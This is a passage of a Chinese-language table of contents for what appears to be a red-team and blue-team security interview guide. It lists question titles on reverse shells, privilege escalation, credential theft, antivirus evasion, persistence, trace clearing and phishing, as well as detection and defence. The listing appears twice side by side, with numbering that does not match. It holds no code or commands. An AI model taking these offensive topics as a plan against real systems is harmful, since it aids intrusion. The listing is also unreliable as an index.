- [5.14 如果拿到了一套 vCenter 的权限,如何去进一步深入利用](Chapter5/5-14.md) - [8.2 正向 Shell 和反向 Shell 区别](Chapter13/13-2.md)
- [5.15 拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办](Chapter5/5-15.md) - [8.3 如何从非交互的 Shell 提升为交互 Shell](Chapter13/13-3.md)
- [5.16 Kerberos 的原理](Chapter5/5-16.md) - [8.4 PHP disable_functions() 绕过方法](Chapter13/13-4.md)
- [5.17 Flannel、Calico 和 Cilium 有什么区别](Chapter5/5-17.md) - [8.5 PHP 的 %00 截断的原理](Chapter13/13-5.md)
- [6. 中间件](Chapter6/README.md) - [8.6 站库分离怎么拿 Shell](Chapter13/13-6.md)
- [6.1 Fastjson 漏洞原理](Chapter6/6-1.md) - [8.7 LFI 怎么打 RCE](Chapter13/13-7.md)
- [6.2 Log4j 漏洞原理](Chapter6/6-2.md) - [9. 文件包含漏洞](Chapter16/README.md)
- [6.3 Shiro 反序列化的形成原因及利用链](Chapter6/6-3.md) - [9.1 常用的协议有哪些](Chapter16/16-1.md)
- [6.4 Shiro 550 721 区别](Chapter6/6-4.md) - [9.2 怎么 GetShell](Chapter16/16-2.md)
- [6.5 FastJSON 不出网利用方式](Chapter6/6-5.md) - [10. 任意文件读取漏洞](Chapter32/README.md)
- [6.6 Windows 和 Linux 利用 REDIS 的区别](Chapter6/6-6.md) - [10.1 `%00` 绕过的原理是什么](Chapter32/32-1.md)
- [6.7 Nginx CRLF 注入原理](Chapter6/6-7.md) - [11. 中间件](Chapter6/README.md)
- [6.8 如何判断靶标是否使用 FastJSON](Chapter6/6-8.md) - [11.1 Fastjson 漏洞原理](Chapter6/6-1.md)
- [6.9 如何判断靶标是否使用 Log4j](Chapter6/6-9.md) - [11.2 Log4j 漏洞原理](Chapter6/6-2.md)
- [6.10 如何判断靶标是否使用 Shiro](Chapter6/6-10.md) - [11.3 Shiro 反序列化的形成原因及利用链](Chapter6/6-3.md)
- [6.11 Nacos 如何通过配置文件拿 Shell](Chapter6/6-11.md) - [11.4 Shiro 550 721 区别](Chapter6/6-4.md)
- [6.12 Nacos 不出网利用方式](Chapter6/6-12.md) - [11.5 FastJSON 不出网利用方式](Chapter6/6-5.md)
- [6.13 .do 文件是哪种框架](Chapter6/6-13.md) - [11.6 Windows 和 Linux 利用 REDIS 的区别](Chapter6/6-6.md)
- [6.14 Shiro 有 Key 无链怎么利用](Chapter6/6-14.md) - [11.7 Nginx CRLF 注入原理](Chapter6/6-7.md)
- [6.15 Redis 主从复制原理](Chapter6/6-15.md) - [11.8 如何判断靶标是否使用 FastJSON](Chapter6/6-8.md)
- [6.16 phpMyAdmin 写 Shell 的方法](Chapter6/6-16.md) - [11.9 如何判断靶标是否使用 Log4j](Chapter6/6-9.md)
- [6.17 了解过中间件哪些解析漏洞](Chapter6/6-17.md) - [11.10 如何判断靶标是否使用 Shiro](Chapter6/6-10.md)
- [6.18 Shiro 不出网怎么利用](Chapter6/6-18.md) - [11.11 Nacos 如何通过配置文件拿 Shell](Chapter6/6-11.md)
- [6.19 JNDI 的解析流程和原理](Chapter6/6-19.md) - [11.12 Nacos 不出网利用方式](Chapter6/6-12.md)
- [6.20 runc 容器逃逸原理](Chapter6/6-20.md) - [11.13 .do 文件是哪种框架](Chapter6/6-13.md)
- [6.21 JBoss 反序列化漏洞原理](Chapter6/6-21.md) - [11.14 Shiro 有 Key 无链怎么利用](Chapter6/6-14.md)
- [6.22 XStreadm 反序列化漏洞原理](Chapter6/6-22.md) - [11.15 Redis 主从复制原理](Chapter6/6-15.md)
- [6.23 讲讲 Confluence RCE](Chapter6/6-23.md) - [11.16 phpMyAdmin 写 Shell 的方法](Chapter6/6-16.md)
- [6.24 讲下 Spring 相关的 RCE 原理](Chapter6/6-24.md) - [11.17 了解过中间件哪些解析漏洞](Chapter6/6-17.md)
- [6.25 Log4j 如何绕过 trustURLCodebase](Chapter6/6-25.md) - [11.18 Shiro 不出网怎么利用](Chapter6/6-18.md)
- [6.26 Fastjson 文件读写 gadget 是哪条,原理是什么](Chapter6/6-26.md) - [11.19 JNDI 的解析流程和原理](Chapter6/6-19.md)
- [6.27 Spring4shell 原理&检测&利用](Chapter6/6-27.md) - [11.20 runc 容器逃逸原理](Chapter6/6-20.md)
- [6.28 Kubernetes 攻击思路](Chapter6/6-28.md) - [11.21 JBoss 反序列化漏洞原理](Chapter6/6-21.md)
- [7. 蓝队防守](Chapter7/README.md) - [11.22 XStreadm 反序列化漏洞原理](Chapter6/6-22.md)
- [7.1 内存马查杀思路](Chapter7/7-1.md) - [11.23 讲讲 Confluence RCE](Chapter6/6-23.md)
- [7.2 Linux 日志存放位置](Chapter7/7-2.md) - [11.24 讲下 Spring 相关的 RCE 原理](Chapter6/6-24.md)
- [7.3 常见 Windows 事件 ID](Chapter7/7-3.md) - [11.25 Log4j 如何绕过 trustURLCodebase](Chapter6/6-25.md)
- [7.4 为什么 aspx 木马的权限会比 asp 木马的权限更高](Chapter7/7-4.md) - [11.26 Fastjson 文件读写 gadget 是哪条,原理是什么](Chapter6/6-26.md)
- [7.5 如何判断 Log4j 攻击成功](Chapter7/7-5.md) - [11.27 Spring4shell 原理&检测&利用](Chapter6/6-27.md)
- [7.6 给你一个告警的内网 IP,怎么快速定位到他在哪栋楼哪层](Chapter7/7-6.md) - [11.28 Kubernetes 攻击思路](Chapter6/6-28.md)
- [7.7 SQL 注入防御方法](Chapter7/7-7.md) - [12. 反序列化漏洞](Chapter14/README.md)
- [7.8 设备上数万条告警怎么快速找到攻击成功的告警](Chapter7/7-8.md) - [12.1 CC1、CC6 区别](Chapter14/14-1.md)
- [7.9 WebShell 查杀后仍有流量怎么办](Chapter7/7-9.md) - [12.2 讲一下 CC1-7 的原理](Chapter14/14-2.md)
- [7.10 拿到攻击者 IP 怎么溯源](Chapter7/7-10.md) - [12.3 BECL 利用链使用条件及原理](Chapter14/14-3.md)
- [7.11 内网报警处理方式](Chapter7/7-11.md) - [12.4 BCEL 可以用其他类加载器吗](Chapter14/14-4.md)
- [7.12 怎样从日志找 WebShell 位置](Chapter7/7-12.md) - [12.5 了解 JEP290 的原理吗](Chapter14/14-5.md)
- [7.13 常见日志分析工具](Chapter7/7-13.md) - [12.6 讲下 RMI 原理以及相关的漏洞](Chapter14/14-6.md)
- [7.14 网页挂马排查思路](Chapter7/7-14.md) - [12.7 JdbcRowSetImpl 如何触发的 JNDI 注入](Chapter14/14-7.md)
- [7.15 XSS 防御方法](Chapter7/7-15.md) - [12.8 CC 链四个 Transformer 区别](Chapter14/14-8.md)
- [7.16 CSRF 防御方法](Chapter7/7-16.md) - [12.9 反序列化除了readObject 还有什么触发点](Chapter14/14-9.md)
- [7.17 SSRF 防御方法](Chapter7/7-17.md) - [12.10 讲讲 IIOP 和 T3 反序列化原理](Chapter14/14-10.md)
- [7.18 XXE 防御方法](Chapter7/7-18.md) - [12.11 Java invoke 反射具体利用](Chapter14/14-11.md)
- [7.19 文件上传防御方法](Chapter7/7-19.md) - [13. 权限提升](Chapter15/README.md)
- [7.20 CS 流量特征](Chapter7/7-20.md) - [13.1 LM Hash 加密算法过程](Chapter15/15-1.md)
- [7.21 WebShell 工具流量特征](Chapter7/7-21.md) - [13.2 与 SMB 协议相关的漏洞有哪些](Chapter15/15-2.md)
- [7.22 日志被删除如何排查](Chapter7/7-22.md) - [13.3 脏牛漏洞提权原理](Chapter15/15-3.md)
- [7.23 常见加固手段](Chapter7/7-23.md) - [13.4 黄金票据和白银票据区别](Chapter15/15-4.md)
- [7.24 挖矿病毒特征](Chapter7/7-24.md) - [13.5 读取不到 hash 怎么绕过](Chapter15/15-5.md)
- [7.25 挖矿病毒应急思路](Chapter7/7-25.md) - [13.6 现在有一台 Windows Server 2008 如何提权](Chapter15/15-6.md)
- [7.26 如何判断钓鱼邮件](Chapter7/7-26.md) - [13.7 提权时选择可读写目录,为何尽量不用带空格的目录](Chapter15/15-7.md)
- [7.27 暴露面梳理怎么](Chapter7/7-27.md) - [13.8 对于不能直接上传而只能通过命令行执行的 Shell 怎么](Chapter15/15-8.md)
- [7.28 netstat 和 ss 命令的区别](Chapter7/7-28.md) - [13.9 psexec 和 wmic 区别](Chapter15/15-9.md)
- [7.29 Windows 日志存储位置](Chapter7/7-29.md) - [13.10 内网抓取密码的话怎么抓](Chapter15/15-10.md)
- [7.30 云产品的应急思路](Chapter7/7-30.md) - [13.11 内网有杀软又怎么抓](Chapter15/15-11.md)
- [7.31 DNS 重绑定漏洞原理](Chapter7/7-31.md) - [13.12 操作系统什么版本之后抓不到密码](Chapter15/15-12.md)
- [7.32 Token 和 Referer 的安全等级谁高](Chapter7/7-32.md) - [13.13 抓不到密码怎么绕过](Chapter15/15-13.md)
- [7.33 任意文件下载漏洞防御方法](Chapter7/7-33.md) - [13.14 桌面有管理员会话,怎么做会话劫持](Chapter15/15-14.md)
- [7.34 怎么修改 TTL 值](Chapter7/7-34.md) - [13.15 当前机器上有一个密码本但被加密了,应该怎么办](Chapter15/15-15.md)
- [7.35 Linux 怎么查看程序调用了哪些文件](Chapter7/7-35.md) - [13.16 Dcom 怎么操作](Chapter15/15-16.md)
- [7.36 CMD 命令行如何查询远程终端开放端口](Chapter7/7-36.md) - [13.17 获取域控的方法有哪些](Chapter15/15-17.md)
- [7.37 查看服务器是否存在可疑账号、新增账号](Chapter7/7-37.md) - [13.18 DLL 劫持原理](Chapter15/15-18.md)
- [7.38 查看服务器是否存在隐藏账号、克隆账号](Chapter7/7-38.md) - [13.19 DPAPI 机制能干嘛](Chapter15/15-19.md)
- [7.39 SQL 注入用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符怎么办](Chapter7/7-39.md) - [13.20 MS14-068 原理](Chapter15/15-20.md)
- [7.40 有哪些 SQL 语句无法使用预编译的方式](Chapter7/7-40.md) - [13.21 内网文件 exe 落地怎么去做,用什么命令去执行来落地](Chapter15/15-21.md)
- [7.41 SYN 开放链接原理](Chapter7/7-41.md) - [13.22 DB 文件如何解密,原理是什么](Chapter15/15-22.md)
- [7.42 了解 Linux /proc 目录吗](Chapter7/7-42.md) - [13.23 PTH 中 LM hash 和 NTLM hash 的区别](Chapter15/15-23.md)
- [7.43 如何监控 Linux 文件操作](Chapter7/7-43.md) - [13.24 Print Nightmare 漏洞分析](Chapter15/15-24.md)
- [7.44 Windows Defender 安全机制](Chapter7/7-44.md) - [13.25 CS 域前置的原理](Chapter15/15-25.md)
- [7.45 什么是 TCP 粘包/拆包](Chapter7/7-45.md) - [13.26 CS 流量是怎么通信的](Chapter15/15-26.md)
- [7.46 session 的工作原理](Chapter7/7-46.md) - [13.27 土豆家族提权原理](Chapter15/15-27.md)
- [7.47 HTTP 长连接和短连接的区别](Chapter7/7-47.md) - [13.28 UAC 怎么绕过](Chapter15/15-28.md)
- [7.48 Xrange() 和 range() 返回的是什么](Chapter7/7-48.md) - [13.29 如何在没有 /tmp 写入权限的情况下,寻找替代的、可执行文件的临时存放位置](Chapter15/15-29.md)
- [7.49 怎么防重放攻击](Chapter7/7-49.md) - [13.30 exploit 无法直接在目标机上编译,你有哪些跨平台编译或利用预编译二进制文件的策略](Chapter15/15-30.md)
- [7.50 讲讲 SYN FLOOD 原理,防御,检测手段](Chapter7/7-50.md) - [13.31 如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell](Chapter15/15-31.md)
- [7.51 讲讲 UDP 反射放大的原理,防御,检测手段](Chapter7/7-51.md) - [13.32 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权](Chapter15/15-32.md)
- [8. 内网穿透](Chapter8/README.md) - [13.33 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权](Chapter15/15-33.md)
- [8.1 正向代理和反向代理区别](Chapter8/8-1.md) - [13.34 如果发现某个二进制文件设置了 SUID,你该如何快速判断它是否可以被用来提权](Chapter15/15-34.md)
- [8.2 如何进行内网穿透](Chapter8/8-2.md) - [13.35 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法](Chapter15/15-35.md)
- [8.3 如何隐藏 CS 流量](Chapter8/8-3.md) - [13.36 请简述 udev 提权漏洞的基本原理](Chapter15/15-36.md)
- [8.4 ICMP 隧道的流量特征](Chapter8/8-4.md) - [14. 横向移动](Chapter5/README.md)
- [8.5 代理转发常用的工具有哪些](Chapter8/8-5.md) - [14.1 常见横向方法](Chapter5/5-1.md)
- [8.6 目标机器 Ping 不通外网,没有办法走网络层协议如何搭建隧道](Chapter8/8-6.md) - [14.2 CS 上线不出网机器用到的什么类型的 Beacon](Chapter5/5-2.md)
- [8.7 内网的多级代理用什么东西代理](Chapter8/8-7.md) - [14.3 PTT 有哪些攻击方法](Chapter5/5-3.md)
- [8.8 如果 TCP 和 UDP 不出网怎么绕过](Chapter8/8-8.md) - [14.4 DCSync 的利用条件](Chapter5/5-4.md)
- [8.9 多级代理如何做一个 CDN 进行中转](Chapter8/8-9.md) - [14.5 横向渗透命令执行手段](Chapter5/5-5.md)
- [8.10 内网有 ACL 策略,如果是白名单如何绕过](Chapter8/8-10.md) - [14.6 PTH、PTT、PTK 三者区别](Chapter5/5-6.md)
- [9. 权限维持](Chapter9/README.md) - [14.7 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去](Chapter5/5-7.md)
- [9.1 怎么建立隐藏用户](Chapter9/9-1.md) - [14.8 说说域内委派](Chapter5/5-8.md)
- [9.2 360 开启了晶核模式,怎么去尝试权限维持](Chapter9/9-2.md) - [14.9 怎么定位域管曾经登录哪些机器](Chapter5/5-9.md)
- [9.3 计划任务被拦截了怎么办](Chapter9/9-3.md) - [14.10 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内,请问这种情况怎么进入域中找到域控](Chapter5/5-10.md)
- [9.4 说说 PAM 软连接提权 / 后门原理](Chapter9/9-4.md) - [14.11 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件](Chapter5/5-11.md)
- [9.5 如何不记录执行命令](Chapter9/9-5.md) - [14.12 继上题,Responder 应该开在哪台机器上,为什么](Chapter5/5-12.md)
- [10. SSRF](Chapter10/README.md) - [14.13 继上题,为什么 ADCS 这个漏洞能获取域管理员权限,原理是什么](Chapter5/5-13.md)
- [10.1 SSRF 漏洞存在位置](Chapter10/10-1.md) - [14.14 如果拿到了一套 vCenter 的权限,如何去进一步深入利用](Chapter5/5-14.md)
- [10.2 SSRF 漏洞绕过方法](Chapter10/10-2.md) - [14.15 拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办](Chapter5/5-15.md)
- [10.3 SSRF 漏洞利用方式](Chapter10/10-3.md) - [14.16 Kerberos 的原理](Chapter5/5-16.md)
- [10.4 SSRF 如何攻击内网服务](Chapter10/10-4.md) - [14.17 Flannel、Calico 和 Cilium 有什么区别](Chapter5/5-17.md)
- [10.5 如何判断 SSRF 的流量是否攻击成功](Chapter10/10-5.md) - [15. 权限维持](Chapter9/README.md)
- [10.6 SSRF 怎么用 Redis 写 Shell](Chapter10/10-6.md) - [15.1 怎么建立隐藏用户](Chapter9/9-1.md)
- [11. XXE](Chapter11/README.md) - [15.2 360 开启了晶核模式,怎么去尝试权限维持](Chapter9/9-2.md)
- [11.1 XXE 漏洞利用方式](Chapter11/11-1.md) - [15.3 计划任务被拦截了怎么办](Chapter9/9-3.md)
- [11.2 XXE 盲注思路](Chapter11/11-2.md) - [15.4 说说 PAM 软连接提权 / 后门原理](Chapter9/9-4.md)
- [11.3 PCDATA 和 CDATA 的区别](Chapter11/11-3.md) - [15.5 如何不记录执行命令](Chapter9/9-5.md)
- [12. 文件上传漏洞](Chapter12/README.md) - [16. 内网穿透](Chapter8/README.md)
- [12.1 文件上传漏洞绕过方法](Chapter12/12-1.md) - [16.1 正向代理和反向代理区别](Chapter8/8-1.md)
- [13. RCE](Chapter13/README.md) - [16.2 如何进行内网穿透](Chapter8/8-2.md)
- [13.1 代码执行、命令执行的函数有哪些](Chapter13/13-1.md) - [16.3 如何隐藏 CS 流量](Chapter8/8-3.md)
- [13.2 正向 Shell 和反向 Shell 区别](Chapter13/13-2.md) - [16.4 ICMP 隧道的流量特征](Chapter8/8-4.md)
- [13.3 如何从非交互的 Shell 提升为交互 Shell](Chapter13/13-3.md) - [16.5 代理转发常用的工具有哪些](Chapter8/8-5.md)
- [13.4 PHP disable_functions() 绕过方法](Chapter13/13-4.md) - [16.6 目标机器 Ping 不通外网,没有办法走网络层协议如何搭建隧道](Chapter8/8-6.md)
- [13.5 PHP 的 %00 截断的原](Chapter13/13-5.md) - [16.7 内网的多级代理用什么东西代](Chapter8/8-7.md)
- [13.6 站库分离怎么拿 Shell](Chapter13/13-6.md) - [16.8 如果 TCP 和 UDP 不出网怎么绕过](Chapter8/8-8.md)
- [14. 反序列化漏洞](Chapter14/README.md) - [16.9 多级代理如何做一个 CDN 进行中转](Chapter8/8-9.md)
- [14.1 CC1、CC6 区别](Chapter14/14-1.md) - [16.10 内网有 ACL 策略,如果是白名单如何绕过](Chapter8/8-10.md)
- [14.2 讲一下 CC1-7 的原理](Chapter14/14-2.md) - [17. 蓝队防守](Chapter7/README.md)
- [14.3 BECL 利用链使用条件及原理](Chapter14/14-3.md) - [17.1 内存马查杀思路](Chapter7/7-1.md)
- [14.4 BCEL 可以用其他类加载器吗](Chapter14/14-4.md) - [17.2 Linux 日志存放位置](Chapter7/7-2.md)
- [14.5 了解 JEP290 的原理吗](Chapter14/14-5.md) - [17.3 常见 Windows 事件 ID](Chapter7/7-3.md)
- [14.6 讲下 RMI 原理以及相关的漏洞](Chapter14/14-6.md) - [17.4 为什么 aspx 木马的权限会比 asp 木马的权限更高](Chapter7/7-4.md)
- [14.7 JdbcRowSetImpl 如何触发的 JNDI 注入](Chapter14/14-7.md) - [17.5 如何判断 Log4j 攻击成功](Chapter7/7-5.md)
- [14.8 CC 链四个 Transformer 区别](Chapter14/14-8.md) - [17.6 给你一个告警的内网 IP,怎么快速定位到他在哪栋楼哪层](Chapter7/7-6.md)
- [14.9 反序列化除了readObject 还有什么触发点](Chapter14/14-9.md) - [17.7 SQL 注入防御方法](Chapter7/7-7.md)
- [14.10 讲讲 IIOP 和 T3 反序列化原理](Chapter14/14-10.md) - [17.8 设备上数万条告警怎么快速找到攻击成功的告警](Chapter7/7-8.md)
- [14.11 Java invoke 反射具体利用](Chapter14/14-11.md) - [17.9 WebShell 查杀后仍有流量怎么办](Chapter7/7-9.md)
- [15. 权限提升](Chapter15/README.md) - [17.10 拿到攻击者 IP 怎么溯源](Chapter7/7-10.md)
- [15.1 LM Hash 加密算法过程](Chapter15/15-1.md) - [17.11 内网报警处理方式](Chapter7/7-11.md)
- [15.2 与 SMB 协议相关的漏洞有哪些](Chapter15/15-2.md) - [17.12 怎样从日志找 WebShell 位置](Chapter7/7-12.md)
- [15.3 脏牛漏洞提权原理](Chapter15/15-3.md) - [17.13 常见日志分析工具](Chapter7/7-13.md)
- [15.4 黄金票据和白银票据区别](Chapter15/15-4.md) - [17.14 网页挂马排查思路](Chapter7/7-14.md)
- [15.5 读取不到 hash 怎么绕过](Chapter15/15-5.md) - [17.15 XSS 防御方法](Chapter7/7-15.md)
- [15.6 现在有一台 Windows Server 2008 如何提权](Chapter15/15-6.md) - [17.16 CSRF 防御方法](Chapter7/7-16.md)
- [15.7 提权时选择可读写目录,为何尽量不用带空格的目录](Chapter15/15-7.md) - [17.17 SSRF 防御方法](Chapter7/7-17.md)
- [15.8 对于不能直接上传而只能通过命令行执行的 Shell 怎么办](Chapter15/15-8.md) - [17.18 XXE 防御方法](Chapter7/7-18.md)
- [15.9 psexec 和 wmic 区别](Chapter15/15-9.md) - [17.19 文件上传防御方法](Chapter7/7-19.md)
- [15.10 内网抓取密码的话怎么抓](Chapter15/15-10.md) - [17.20 CS 流量特征](Chapter7/7-20.md)
- [15.11 内网有杀软又怎么抓](Chapter15/15-11.md) - [17.21 WebShell 工具流量特征](Chapter7/7-21.md)
- [15.12 操作系统什么版本之后抓不到密码](Chapter15/15-12.md) - [17.22 日志被删除如何排查](Chapter7/7-22.md)
- [15.13 抓不到密码怎么绕过](Chapter15/15-13.md) - [17.23 常见加固手段](Chapter7/7-23.md)
- [15.14 桌面有管理员会话,怎么做会话劫持](Chapter15/15-14.md) - [17.24 挖矿病毒特征](Chapter7/7-24.md)
- [15.15 当前机器上有一个密码本但被加密了,应该怎么办](Chapter15/15-15.md) - [17.25 挖矿病毒应急思路](Chapter7/7-25.md)
- [15.16 Dcom 怎么操作](Chapter15/15-16.md) - [17.26 如何判断钓鱼邮件](Chapter7/7-26.md)
- [15.17 获取域控的方法有哪些](Chapter15/15-17.md) - [17.27 暴露面梳理怎么做](Chapter7/7-27.md)
- [15.18 DLL 劫持原理](Chapter15/15-18.md) - [17.28 netstat 和 ss 命令的区别](Chapter7/7-28.md)
- [15.19 DPAPI 机制能干嘛](Chapter15/15-19.md) - [17.29 Windows 日志存储位置](Chapter7/7-29.md)
- [15.20 MS14-068 原理](Chapter15/15-20.md) - [17.30 云产品的应急思路](Chapter7/7-30.md)
- [15.21 内网文件 exe 落地怎么去做,用什么命令去执行来落地](Chapter15/15-21.md) - [17.31 DNS 重绑定漏洞原理](Chapter7/7-31.md)
- [15.22 DB 文件如何解密,原理是什么](Chapter15/15-22.md) - [17.32 Token 和 Referer 的安全等级谁高](Chapter7/7-32.md)
- [15.23 PTH 中 LM hash 和 NTLM hash 的区别](Chapter15/15-23.md) - [17.33 任意文件下载漏洞防御方法](Chapter7/7-33.md)
- [15.24 Print Nightmare 漏洞分析](Chapter15/15-24.md) - [17.34 怎么修改 TTL 值](Chapter7/7-34.md)
- [15.25 CS 域前置的原理](Chapter15/15-25.md) - [17.35 Linux 怎么查看程序调用了哪些文件](Chapter7/7-35.md)
- [15.26 CS 流量是怎么通信的](Chapter15/15-26.md) - [17.36 CMD 命令行如何查询远程终端开放端口](Chapter7/7-36.md)
- [15.27 土豆家族提权原理](Chapter15/15-27.md) - [17.37 查看服务器是否存在可疑账号、新增账号](Chapter7/7-37.md)
- [15.28 UAC 怎么绕过](Chapter15/15-28.md) - [17.38 查看服务器是否存在隐藏账号、克隆账号](Chapter7/7-38.md)
- [15.29 如何在没有 /tmp 写入权限的情况下,寻找替代的、可执行文件的临时存放位置](Chapter15/15-29.md) - [17.39 SQL 注入用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符怎么办](Chapter7/7-39.md)
- [15.30 exploit 无法直接在目标机上编译,你有哪些跨平台编译或利用预编译二进制文件的策略](Chapter15/15-30.md) - [17.40 有哪些 SQL 语句无法使用预编译的方式](Chapter7/7-40.md)
- [15.31 如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell](Chapter15/15-31.md) - [17.41 SYN 开放链接原理](Chapter7/7-41.md)
- [15.32 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权](Chapter15/15-32.md) - [17.42 了解 Linux /proc 目录吗](Chapter7/7-42.md)
- [15.33 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权](Chapter15/15-33.md) - [17.43 如何监控 Linux 文件操作](Chapter7/7-43.md)
- [16. 文件包含漏洞](Chapter16/README.md) - [17.44 Windows Defender 安全机制](Chapter7/7-44.md)
- [16.1 常用的协议有哪些](Chapter16/16-1.md) - [17.45 什么是 TCP 粘包/拆包](Chapter7/7-45.md)
- [16.2 怎么 GetShell](Chapter16/16-2.md) - [17.46 session 的工作原理](Chapter7/7-46.md)
- [17. MongoDB 注入](Chapter17/README.md) - [17.47 HTTP 长连接和短连接的区别](Chapter7/7-47.md)
- [17.1 MongoDB 注入方式](Chapter17/17-1.md) - [17.48 Xrange() 和 range() 返回的是什么](Chapter7/7-48.md)
- [18. CORS](Chapter18/README.md) - [17.49 怎么防重放攻击](Chapter7/7-49.md)
- [18.1 CORS 利用方式](Chapter18/18-1.md) - [17.50 讲讲 SYN FLOOD 原理,防御,检测手段](Chapter7/7-50.md)
- [19. 远控免杀](Chapter19/README.md) - [17.51 讲讲 UDP 反射放大的原理,防御,检测手段](Chapter7/7-51.md)
- [19.1 ShellCode 免杀方法](Chapter19/19-1.md) - [18. 远控免杀](Chapter19/README.md)
- [19.2 如何去过国内的杀软](Chapter19/19-2.md) - [18.1 ShellCode 免杀方法](Chapter19/19-1.md)
- [19.3 分离免杀和单体免杀有啥区别,为什么要分离](Chapter19/19-3.md) - [18.2 如何去过国内的杀软](Chapter19/19-2.md)
- [19.4 做过其他免杀吗,比如结合 CS 和 MSF 的](Chapter19/19-4.md) - [18.3 分离免杀和单体免杀有啥区别,为什么要分离](Chapter19/19-3.md)
- [20. PHP 代码审计](Chapter20/README.md) - [18.4 做过其他免杀吗,比如结合 CS 和 MSF 的](Chapter19/19-4.md)
- [20.1 === 和 == 的区别](Chapter20/20-1.md) - [18.5 WebShell 免杀方式有哪些](Chapter19/19-5.md)
- [20.2 常见入口函数怎么找](Chapter20/20-2.md) - [19. 痕迹清除](Chapter24/README.md)
- [20.3 PHP 代码审计流程](Chapter20/20-3.md) - [19.1 清理日志要清理哪些](Chapter24/24-1.md)
- [20.4 ThinkPHP 框架审计起来有什么不同](Chapter20/20-4.md) - [19.2 如何删除 Linux 机器的入侵痕迹](Chapter24/24-2.md)
- [20.5 PHP 原生的敏感函数有哪些](Chapter20/20-5.md) - [20. 钓鱼社工](Chapter25/README.md)
- [20.6 反序列化时有哪些魔术方法是可以作为一个入手点去找的](Chapter20/20-6.md) - [20.1 钓鱼方法除了 exe 这种双击的还有什么](Chapter25/25-1.md)
- [20.7 常见的路由方法](Chapter20/20-7.md) - [20.2 钓鱼上线的主机如何进行利用](Chapter25/25-2.md)
- [20.8 介绍下 PHP 的变量覆盖](Chapter20/20-8.md) - [20.3 伪造电子邮件的原理](Chapter25/25-3.md)
- [20.9 远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么](Chapter20/20-9.md) - [21. PHP 代码审计](Chapter20/README.md)
- [20.10 本地文件包含能不能通过 PHP 配置限制文件包含的路径](Chapter20/20-10.md) - [21.1 === 和 == 的区别](Chapter20/20-1.md)
- [20.11 PHP 在做 SQL 注入防御时有哪些方法](Chapter20/20-11.md) - [21.2 常见入口函数怎么找](Chapter20/20-2.md)
- [20.12 如果审计到了一个文件下载漏洞如何深入的去利用](Chapter20/20-12.md) - [21.3 PHP 代码审计流程](Chapter20/20-3.md)
- [20.13 讲讲 Fortity 等代码审计工具原理](Chapter20/20-13.md) - [21.4 ThinkPHP 框架审计起来有什么不同](Chapter20/20-4.md)
- [21. JAVA 代码审计](Chapter21/README.md) - [21.5 PHP 原生的敏感函数有哪些](Chapter20/20-5.md)
- [21.1 JAVA 在做 SQL 注入防御时有哪些方法](Chapter21/21-1.md) - [21.6 反序列化时有哪些魔术方法是可以作为一个入手点去找的](Chapter20/20-6.md)
- [22. 操作系统](Chapter22/README.md) - [21.7 常见的路由方法](Chapter20/20-7.md)
- [22.1 进程和线程内存空间的关系](Chapter22/22-1.md) - [21.8 介绍下 PHP 的变量覆盖](Chapter20/20-8.md)
- [22.2 介绍下父子进程](Chapter22/22-2.md) - [21.9 远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么](Chapter20/20-9.md)
- [22.3 孤儿进程和僵尸进程区别](Chapter22/22-3.md) - [21.10 本地文件包含能不能通过 PHP 配置限制文件包含的路径](Chapter20/20-10.md)
- [22.4 Kill 一个进程的时候都发生了那些事情,从父子进程角度讲](Chapter22/22-4.md) - [21.11 PHP 在做 SQL 注入防御时有哪些方法](Chapter20/20-11.md)
- [22.5 Linux 开机自启动方式](Chapter22/22-5.md) - [21.12 如果审计到了一个文件下载漏洞如何深入的去利用](Chapter20/20-12.md)
- [22.6 Linux 有哪些系统调用](Chapter22/22-6.md) - [21.13 讲讲 Fortity 等代码审计工具原理](Chapter20/20-13.md)
- [22.7 说说 Linux 下的 Syscall](Chapter22/22-7.md) - [22. JAVA 代码审计](Chapter21/README.md)
- [23. 逆向破解](Chapter23/README.md) - [22.1 JAVA 在做 SQL 注入防御时有哪些方法](Chapter21/21-1.md)
- [23.1 恶意样本给出函数家族的 md5,如何进行分类](Chapter23/23-1.md) - [23. 操作系统](Chapter22/README.md)
- [23.2 Linux 程序分为哪几个段](Chapter23/23-2.md) - [23.1 进程和线程内存空间的关系](Chapter22/22-1.md)
- [23.3 .data 段存放哪些数据](Chapter23/23-3.md) - [23.2 介绍下父子进程](Chapter22/22-2.md)
- [23.4 .bss 段存放哪些数据](Chapter23/23-4.md) - [23.3 孤儿进程和僵尸进程区别](Chapter22/22-3.md)
- [23.5 函数调用时的流程,参数如何传入以及寄存器、栈的变化](Chapter23/23-5.md) - [23.4 Kill 一个进程的时候都发生了那些事情,从父子进程角度讲](Chapter22/22-4.md)
- [23.6 解释程序的编译和链接,编译的过程中会有哪些操作](Chapter23/23-6.md) - [23.5 Linux 开机自启动方式](Chapter22/22-5.md)
- [23.7 说说 If/Else 语法树](Chapter23/23-7.md) - [23.6 Linux 有哪些系统调用](Chapter22/22-6.md)
- [23.8 如何比较两个 C 函数的相似度](Chapter23/23-8.md) - [23.7 说说 Linux 下的 Syscall](Chapter22/22-7.md)
- [23.9 什么情况下源代码与 IDA 反编译程序的代码差别很大](Chapter23/23-9.md) - [24. 二进制](Chapter26/README.md)
